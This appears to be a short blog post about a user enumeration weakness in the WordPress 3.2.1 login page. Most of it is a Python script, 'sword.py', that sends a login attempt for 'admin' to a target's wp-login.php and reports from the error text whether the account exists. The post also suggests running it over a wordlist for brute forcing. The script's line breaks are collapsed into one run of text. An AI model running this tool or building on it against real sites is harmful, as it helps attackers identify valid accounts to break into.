WordPress 3.2.1 user enumeration vulnerability

Like we all know, not only banks have an user enumeration vulnerabilities in their webapplications :)
Almost all the time „user enumeration” is possible, be cause of bad informing about ‘wrong credentials’ in login process.
So, lets see how it lookgs in new WordPress (3.2.1).

(In pseudo code):
if user_ok --> echo 'user ok'
else if user_bad --> echo 'username invalid'
...
So thats the simple way to enumerate users (bruteforce as welcome) ;)
Here I wrote a simple tool, to check if there is an admin account:

# -------------------------------------------- # sword.py - wordpress > 3.2.1 user enumeration # -------------------------------------------- # 2o.o9.2o11 - v1 . import urllib # urlencode import urllib2 import sys # url = 'http://hello/wordpress/wp-login.php' url = sys.argv[1] + '/wp-login.php' values = { 'log' : 'admin', 'pwd' : 'just-testing...', 'wp-submit' : 'Log+in', # 'redirect_to' : 'http%3A%2F%2Fhello%2Fwordpress%2Fwp-admin%2F', 'redirect_to' : sys.argv[1] + 'wp-admin/', 'testcookie' : '1' } user_agent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' naglowki = { 'User-Agent' : user_agent} data = urllib.urlencode(values) request = urllib2.Request(url, data,naglowki) response = urllib2.urlopen(request) html = response.read() a = "incorrect" in html print "" print "------- sword.py - 2o.o9.2o11 - v1 -------" print "simple wordpress > 3.2.1 enumeration tool" print "------------------------------------------" print "Is there an admin account? " print a

Like You see, this simple tool can enumerate only ‘admin’. So the idea is simple. Check if there is a name(wordlist?;) ), and if it is – analyse/log the answer.

Regards! 

*Update 12.03.2012*

If You want more information about vulnerabilities in latest WordPress,
try here ;)